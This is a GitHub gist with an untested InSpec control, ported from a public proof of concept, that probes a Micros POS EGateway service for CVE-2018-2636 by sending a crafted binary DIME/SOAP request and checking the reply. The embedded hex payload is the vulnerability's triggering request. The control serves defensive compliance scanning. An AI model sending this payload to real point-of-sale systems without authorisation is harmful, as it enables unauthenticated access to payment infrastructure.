Skip to content

Instantly share code, notes, and snippets.

@juliandunn
Created September 14, 2018 20:00
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save juliandunn/709954958bb5e58f45a1f7473c5ecf16 to your computer and use it in GitHub Desktop.
Save juliandunn/709954958bb5e58f45a1f7473c5ecf16 to your computer and use it in GitHub Desktop.
Example, untested InSpec code for evaluating Micros POS systems against CVE-2018-2636
# Original Python: https://raw.githubusercontent.com/erpscanteam/CVE-2018-2636/master/eGw.py
control 'Check Micros POS for CVE-2018-2636' do
impact 1.0
title 'Check whether your Micros POS is vulnerable to CVE-2018-2636'
desc 'CVE-2018-2636 is a remote-execution vulnerability that gives unauthenticated attackers unrestricted access to the POS system.'
describe http('http://micros.example.com:8080/EGateway/EGateway.asmx',
headers: {'Content-Type' => 'application/dime',
'SOAPAction' => '"http://micros-hosting.com/EGateway/ProcessDimeRequest"',
'Expect' => '100-continue'},
data: '\x0c\x20\x00\x00\x00\x10\x00\x29\x00\x00\x01\x38\x55\x56\x51\x50\x70\x39\x78\x7a\x66\x69\x70\x56\x53\x6e\x4c\x75\x68\x74\x74\x70\x3a\x2f\x2f\x73\x63\x68\x65\x6d\x61\x73\x2e\x78\x6d\x6c\x73\x6f\x61\x70\x2e\x6f\x72\x67\x2f\x73\x6f\x61\x70\x2f\x65\x6e\x76\x65\x6c\x6f\x70\x65\x2f\x00\x00\x00<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><ProcessDimeRequest xmlns="http://micros-hosting.com/EGateway/" /></soap:Body></soap:Envelope>\x0a\x10\x00\x00\x00\x10\x00\x18\x00\x00\x00\x84\x55\x56\x51\x50\x70\x39\x78\x7a\x66\x69\x70\x56\x53\x6e\x4c\x75\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6f\x63\x74\x65\x74\x2d\x73\x74\x72\x65\x61\x6d\x01\xe1\x1e\x02\x00\x00\x00\x36\x00\x00\x00\x3c\x00\x53\x00\x49\x00\x2d\x00\x53\x00\x65\x00\x63\x00\x75\x00\x72\x00\x69\x00\x74\x00\x79\x00\x20\x00\x56\x00\x65\x00\x72\x00\x73\x00\x69\x00\x6f\x00\x6e\x00\x3d\x00\x22\x00\x32\x00\x22\x00\x20\x00\x2f\x00\x3e\x00\x58\x52\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xc1\x1c\x01\x00\x00\x00\x01\xd1\x1d\xb8\x58\x00\x00\xb1\x36\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1d\xd1\x02\x1c\xc1\x02\x1e\xe1\x02') do
its('status') { should cmp 200 }
its('body') { should_not match '\x00\x55\x00\x6e\x00\x61\x00\x75\x00\x74\x00\x68\x00\x6f\x00\x72\x00\x69\x00\x7a\x00\x65\x00\x64' }
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment